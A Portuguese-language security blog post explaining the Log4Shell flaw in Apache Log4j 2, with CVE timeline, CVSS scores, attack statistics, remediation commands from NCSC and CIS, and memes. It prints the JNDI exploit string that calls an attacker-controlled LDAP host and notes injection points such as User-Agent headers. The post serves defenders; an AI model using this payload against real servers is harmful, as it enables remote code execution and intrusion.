Páginas

▼

dezembro 13, 2021

[Segurança] O caos do Log4Shell (com memes)

Para nós, profissionais de segurança. essa última sexta-feira 10/12 foi, realmente, a "sexta-feira da maldade". Logo no início do dia todos estavam falando sobre uma nova vulnerabilidade que permite a execução remota de código num componente que provavelmente poucas pessoas sabiam que existiam, mas todo mundo usa: "o tal de Log4j".

RESUMO DA HISTÓRIA: entre os dias 10 e 28/12, foram descobertas 5 vulnerabilidades na biblioteca Log4j 2, com 4 atualizações sendo lançadas no período. É necessário atualizar para a versão mais recente, a 2.17.1.

Essa vulnerabilidade específica do Log4j 2, publicada em 10/12 e identificada como CVE-2021-44228 (*), também passou a ser conhecida como "Log4Shell" em vários blogs e relatórios. Na véspera, dia 09/12, foi divulgado um exploit 0-Day para ela, e assim começou o pânico geral.

(*) e tem também o CVE-2021-45046, o CVE-2021-45105 e o CVE-2021-44832!!!

Atualmente, você sabe que um problema é sério quando surge uma quantidade gigantesca de memes sobre o assunto!


 

A vulnerabilidade "Log4Shell" permite a exploração remota de um servidor, executando código remotamente a partir de uma simples requisição HTTP. Ela atinge a biblioteca "Log4j 2" da Apache Software Foundation (ASF), um componente open source muito popular e utilizado para processar logs em aplicativos corporativos, soluções de mercado e serviços em nuvem.

Conforme descrito sucintamente no CVE-2021-44228, as versões do Apache Log4j 2 abaixo de 2.14.1 utilizam o JNDI (Java Naming and Directory Interface) para registrar configurações, mensagens de log e parâmetros, mas mensagens de log com parâmetros específicos podem executar o código recebido a partir de outros endpoints com o JNDI ativo, via LDAP, quando a resolução de nomes das mensagens estiver habilitada. A partir da versão Log4j 2.15.0 esse comportamento é desabilitado or default.

OBS: Conforme explicado no CVE-2021-45046, divulgado em 14/12, somente a versão 2.16.0 do Log4j 2 mitiga corretamente essa vulnerabilidade. Veja a transcrição parcial do CVE sobre isso: "It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack". 

OBS 2: Devido a uma nova vulnerabilidade, a CVE-2021-45105 (publicado em 18/12) que causa recursão infinita no processo de resolução (lookup), é necessário fazer o upgrade para a versão 2.17.0 (veja aqui a página de download da versão mais recente). 

OBS 3: Em 28/12 foi divulgado o CVE-2021-44832 e lançada a versão 2.17.1.

OBS 4: Não custa lembrar que as versões 1.x do Log4j não são mais suportadas desde 05/08/2015, quando foi anunciado seu "end-of'life".

OBS 5: Eu não dei destaque aqui no blog, mas vale a pena lembrar que em 14/12 foi divulgada também uma vulnerabilidade de RCE na versão 1.2 do Log4j, a CVE-2021-4104.

Segundo o NIST, essa vulnerabilidade CVE-2021-44228 tem um Score CVSS nota 10.0 (o máximo possível), calculada com base nesses atributos: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H". Em termos leigos, isso é o equivalente a dizer "Corram, fujam para as montanhas!".

A vulnerabilidade da versão 2.15.0 no Log4j 2, o CVE-2021-45046 tinha originalmente um score CVSS de 3.7 (baixo), mas em 17/12 descobriu-se que ela poderia causar um RCE, e o score subiu para 9.0.

A versão 2.16.0, lançada em 13/12, também tinha uma vulnerabilidade, que causava recursão infinita no lookup, o CVE-2021-45105, com score CVSS de 7,5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Em 28/12 foi divulgado mais uma vulnerabilidade o CVE-2021-44832 com CVSS score de 6,6 (médio). Nesse caso, o Log4j até a versão 2.17.0 (exceto 2.3.2. e 2.12.4) é vulnerável a um RCE quando o atacante tem permissão de modificar o arquivo de configuração local e incluir um parâmetro malicioso chamando uma URI JNDI para executar o código remoto.

Parece que tivemos muitas atualizações em pouco tempo, não é? Sim, tivemos! Nos últimos anos, em geral o Log4j teve no máximo 4 atualizações por ano! Por causa do Log4Shell, foram lançadas 3 versões novas em praticamente uma semana !!!

Além de ser uma vulnerabilidade muito fácil de reproduzir, o principal problema do Log4Shell é que a biblioteca Log4j 2 é muito utilizada por muita gente, desenvolvedores e fabricantes dos mais diversos produtos e soluções.

  


Portanto, o maior desafio para todos os times de segurança foi identificar todos os produtos e componentes em seu ambiente que usam essa biblioteca de logs.

  

Essa vulnerabilidade foi descoberta no final de Novembro, reportada para a Apache em 24/11, que já começou a trabalhar em uma correção. Apesar da primeira correção ter sido liberada em 06/12 e do CVE ter se tornado público em 10/12, a Cloudflare e a CISCO identificaram as primeiras explorações da Log4Shell em 01 e 02/12, respectivamente.

O diagrama abaixo, criado pelo CERT da Suiça, mostra como a vulnerabilidade pode ser explorada:

A string para explorar a vulnerabilidade ficou bem conhecida, rapidamente:



${jndi:ldap://[attacker site]/a}

O atacante tem que fazer uma requisição ao servidor que vai ser atacado e que possa gerar uma entrada no log, através da biblioteca Log4j 2. Graças a vulnerabilidade, o componente JNDI (Java Naming and Directory Interface) vai fazer uma requisição ao site indicado na string, executando o payload que baixar dele. A string acima contém o comando “jndi”, que indica a chamada ao Java Naming and Directory Interface, seguido pela indicação do protocolo a ser utilizado, como “ldap”, “ldaps”, “rmi”, “dns”, “iiop”, ou “http”, indicando que requisição deve ser feita ao endereço do site controlado pelo atacante.

A Trend também criou um diagrama bem legal, mostrando a cadeia de eventos para causar a infecção:

Como identificar a vulnerabilidade:

E agora, o que fazer? Tem duas ótimas referências sobre isso, do NCSC e do CIS. O National Cyber Security Centre (NCSC, do Reino Unido) deu um passo-a-passo muito objetivo e útil, que vale a leitura. Resumidamente:

  1. Instale o update mais recente (a versão 2.17.1) em todos os lugares que você sabe que o Log4j é usado, tanto os servidores expostos na Internet quanto os servidores internos na organização;
  2. Comece a procurar por todas as instâncias e usos desconhecidos do Log4j em sua empresa. Suas aplicações em Java podem incluir a biblioteca do Log4j. A NCSC sugere alguns comandos para ajudar nessa busca:
    • Procure no seu filesystem:
      find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null
    • Veja nos seus pacotes:
      dpkg -l | grep log4j
    • No Windows, eles sugerem esse comando no Powershell:
      gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
  3. Ajustes suas ferramentas de monitoramento, detecção e bloqueio.

O pessoal do Center for Internet Security (CIS) criou um guia bem completo sobre as vulnerabilidades no Log4j e como corrigir. Vale muito a pena a leitura. Veja o diagrama que eles criaram para orientar as empresas sobre como agir nesse momento:

Como evitar a vulnerabilidade do Log4Shell:

  • Antes de mais nada: bloquear as conexões de saída para a Internet a partir dos seus servidores, exceto quando for realmente necessário e atualize suas ferramentas de segurança para identificar e bloquear ataques que explorem essa vulnerabilidade;
  • Fazer o upgrade imediatamente para a versão 2.15.0-rc-2 ou posterior atual, a versão 2.17.1;
    • Lembre-se que pode ser necessário atualizar algumas dependências para realizar o upgrade;
  • Caso não seja possível fazer o update, há algumas formas de mitigar a falha, mas segundo o CVE-2021-45046, essas recomendações não conseguem impedir algumas formas de ataque. Logo, a melhor solução é mesmo fazer o upgrade para a versão 2.17.1.
    • Nas versões acima de 2.10, ajuste o parâmetro log4j2.formatMsgNoLookups para true; (veja o CVE-2021-45046 para cuidados adicionais, indicado abaixo no 4o bullet)
    • Nas versões 2.0 até 2.10.0, você deve remover a classe LDAP do Log4j executando esse comando: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    • Segundo o CVE-2021-45046, nas versões anteriores a 2.16.0 também é necessário remover a classe JndiLookup do classpath (por exemplo: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

OBS 1: Ao contrário do que diz o meme acima, eu vi um site aonde diz que aparentemente já existe uma forma de explorar a vulnerabilidade na versão 1 do Log4j.

OBS 2: Descobriu-se que mesmo a versão 2.15.0 é vulnerável e pode causar um ataque de DoS. Também que pode ser usada para exfiltração de dados e, o que é pior, também está vulnerável a ataque de Remote Code Execution (RCE). Portanto, a recomendação inicial de atualizar para a versão 2.15.0-rc-2 não é suficiente. Por isso, a única solução é atualizar o seu Log4j 2 para a nova versão 2.16.0, conforme descrito no CVE-2021-45046. Como a versão 2.16.0 também tem uma vulnerabilidade, que permite a negação do serviço através de uma string que força o processo de resolução entrar em loop, e a versão 2.17.0 tem uma vulnerabilidade que pode permitir a execução remota de código, a única solução é atualizar o seu Log4j 2 para a nova versão 2.17.1.

OBS 3: A Cyberreason criou o Logout4Shell, para explorar a vulnerabilidade do Log4Shell para corrigí-la! (eu achei interessante citar essa iniciativa, mas sugiro que seja avaliado com cuidado antes de usar)

As vulnerabilidades que permitem a execução remota de código ("remote code execution" ou RCE, em inglês) são o sonho dos atacantes e pesadelo dos profissionais de segurança. Elas permitem que um atacante rode comandos na máquina de destino, alvo do ciber ataque, causando o seu comprometimento rapidamente.

No mesmo dia da divulgação dessa vulnerabilidade, um colega de outra empresa me disse que já estava identificando tentativas de ataques no ambiente dele tentando explorar o log4j!

  

Segundo a HackerOne, até 16/12 eles já tinham recebido 1.350 reports da vulnerabilidade do Log4j 2 nos programas de bug bounty (veja o gráfico abaixo). Até então, 75 reports tinham sido confirmados e resultaram no pagamento de, ao todo, USD 142.250 em recompensas (média de $1.896 pago por report).

De fato, algumas empresas começaram a incluir explicitamente a Log4Shell em seus programas de bug bounty.

Além do mais, essa vulnerabilidade pode ser explorada em servidores de produção de diversas formas, praticamente em qualquer tipo de entrada de dados. Como, por exemplo, inseridas na informação de user-agente para explorar um servidor web, inserindo a string no campo de assunto (subject) de um e-mail, etc.

Esse foi mais um bom motivo para a galera perder a sexta-feira e o final de semana corrigindo esse problema :(

Como nada que é ruim pode piorar mais um pouco, em 14/12 já surgiram relatos de operadores de ransomware explorando a vulnerabilidade do Log4j 2.

Para piorar, em 15/12 surgiu um relato sobre uma forma para bypassar a proteção contra o Log4Shell no WAF da AWS:

E, na sexta-feira 17/12, uma semana após a divulgação da vulnerabilidade do Log4j, ficamos sabendo que o problema na versão 2.15.0 era mais grave do que imaginado inicialmente (permitindo vazamento de dados, execução de código remota e localmente), e surgiram rumores de que a versão 2.16.0 ainda permite exploração (*)! De fato, esses rumores foram confirmados, e segundo a página de segurança do Log4j, essa vulnerabilidade foi batizada de CVE-2021-45105 e deu origem a versão 2.17.0.

(*) Esse problema está descrito em um report de bug no Jira da Apache, indicando que algumas strings podem provocar uma recursão infinita no processo de resolução do Log4j. 

Ou seja, ao que tudo indica, essa treta ainda não acabou e temos que torcer para que lancem uma nova versão ASAP.

Praticamente 10 dias após a disponibilização da versão 2.17.0, foi lançada uma nova versão, 2.17.1 corrigindo um caso específico que pode causar um RCE, conforme descrito no CVE-2021-44832.

Quer acompanhar o andamento dessa treta? Veja o Live Log4J worldwide threat tracker da CrowdSec:

Por fim, o pessoal do SANS Institute fez uma live para discutir a vulnerabilidade Log4Shell, disponível no YouTube:

Resumindo, esse final de ano não está nem um pouco fácil para os times de segurança, que tiveram que encarar 4 vulnerabilidades e 4 atualizações distintas no Log4j 2.

Para concluir...


Resolvi criar uma linha do tempo dessa treta do Log4j (adicionado em 20/12) (publiquei uma versão dela num artigo no Linkedin):

  • 24/11: A vulnerabilidade Log4Shell é descoberta pelo Chen Zhaojun do Alibaba Cloud Security Team e reportada para a Apache
  • 26/11: Reservado o CVE-2021-44228 pela Apache
  • 01/12: Primeiras explorações da Log4Shell identificadas pela Cloudflare
  • 02/12: A CISCO também identifica explorações da Log4Shell
  • 06/12: Lançada a versão 2.15.0 do Log4j
  • 09/12: Foi divulgado um exploit 0-Day para a vulnerabilidade do Log4j. O artigo do LunaSec é uma das primeiras referências sobre o assunto.
  • 10/12: Publicado o CVE-2021-44228 (CVSS score de 10.0 / Crítico)
  • 13/12: Lançada a versão 2.16.0 do Log4j
  • 13/12: Segundo a Bitdefender, várias botnets estão explorando o Log4Shell desde 10/12;
  • 14/12: Publicado o CVE-2021-45046 (CVSS score de 3.7 / Moderado)
  • 14/12: Divulgado uma  RCE na versão 1.2 do Log4j: CVE-2021-4104 (CVSS score de 7,5 / Alto)
  • 15/12: Segundo a Microsoft identificou que servidores Minecraft estão sendo invadidos pelo ransomware Khonsari, através do Log4Shell
  • 17/12: Revisada a criticidade do CVE-2021-45046 (CVSS score de 9.0 / Crítico)
  • 17/12: Descoberto que o Ransomwae Conti também explora o Log4Shell
  • 18/12: Lançada a versão 2.17.0 do Log4j
  • 18/12: Publicado o CVE-2021-45105 (CVSS score de 7,5 / Alto)
  • 20/12: O Ransomware Dridex também está explorando a vul no Log4J
  • 28/12: Divulgado o CVE-2021-44832 (CVSS score de 6,6 / Médio)
  • 28/12: Lançada a versão 2.17.1

Veja também uma pequena coletânea com algumas estatísticas e estimativas relacionadas a vulnerabilidade do Log4j 2 (adicionado em 20/12):

  • 35.863 pacotes Java foram impactados (Google);
  • mais de 800 mil ataques foram identificados nas primeiras 72 horas (Checkpoint);
  • Mais de 60% das redes corporativas no Brasil foram atingidas pela falha (Checkpoint);
  • 1.350 reports da vulnerabilidade do Log4j 2 recebidos nos programas de bug bounty da HackerOne até 16/12 (HackerOne).
  • 154.098 tentativas de ataque por meio da vulnerabilidade Log4J de 9 de dezembro a 24 de Janeiro de 2022 (Kaspersky)
  • 52% dos profissionais gastaram semanas ou mais de um mês para aplicar as correções do Log4j, e 48% tiveram que trabalhar em feriados e finais de semana ((ISC)2)

Hum, você está sem tempo de ler muitas referências? Não tem problema, foque nesses sites aqui:

Para saber mais:

  • O Log4Shell foi citado no 0 News, o resumo semanal de notícias do Mente Binária, em 13/12 e 20/12:
   
PS: Post atualizado em 14/12. Nova atualização em 14/12, e vale a pena destacar a página bem completa que o pessoal da CISA criou sobre  vulnerabilidade do Log4J: Apache Log4j Vulnerability Guidance. Atualizado novamente em 14/12 por causa do CVE-2021-45046 e, posteriormente, para incluir o link para o CVE-2021-44228 no National Vulnerability Database do NIST. Pequenas atualizações em 15 e 16/12 (4x). Atualizado em 17/12 (6x), e aproveitei para incluir as recomendações do NCSC nesse artigo e sugiro a leitura do artigo do Nelson Brito - além de incluir aqui a informação da descoberta que a versão 2.15.0 é vulnerável a RCE e que ainda tem um bug assustador na versão 2.16.0. Post atualizado em 18/12 para incluir informações sobre o CVE-2021-45105  e a nova versão 2.17.0. Post atualizado em 20/12 e pequena atualização em 21/12 (3x). Atualizado em 22/12 (2x). Fiz algumas atualizações no texto e no timeline em 24/12 (3x). Post atualizado em 29/12 devido a publicação do CVE-2021-44832 e lançamento da versão 2.17.1, com mais memes. Pequenas atualizações em 04 e 07/01/22. Atualizado em 14/01 para incluir 2 notícias sobre o Log4Shell sendo usado em ciber ataques. Também incluí um ótimo material criado pelo CIS e informações sobre o CVE-2021-4104. Atualizado em 17/01 e pequena atualização em 21/01 e 15/02. Atualizado novamente em 02, 21 e 31/03 e 01/04.

PS/2 (adicionado em 15/12): O Cabelo fez esse vídeo demonstrando a exploração do Log4Shell:


PS3 (adicionado em 16/12): Esse meme é tão sensacional que merece um PS só dele... fizeram uma versão sobre o log4shell da tirinha do "Bob Tables" do XKCD:


PS4 (adicionado em 16/12): Segue abaixo mais alguns memes aleatórios sobre o Log4Shell. Esse site tem um montão deles: log4jmemes.com

  


 

 




 


em

2 comentários: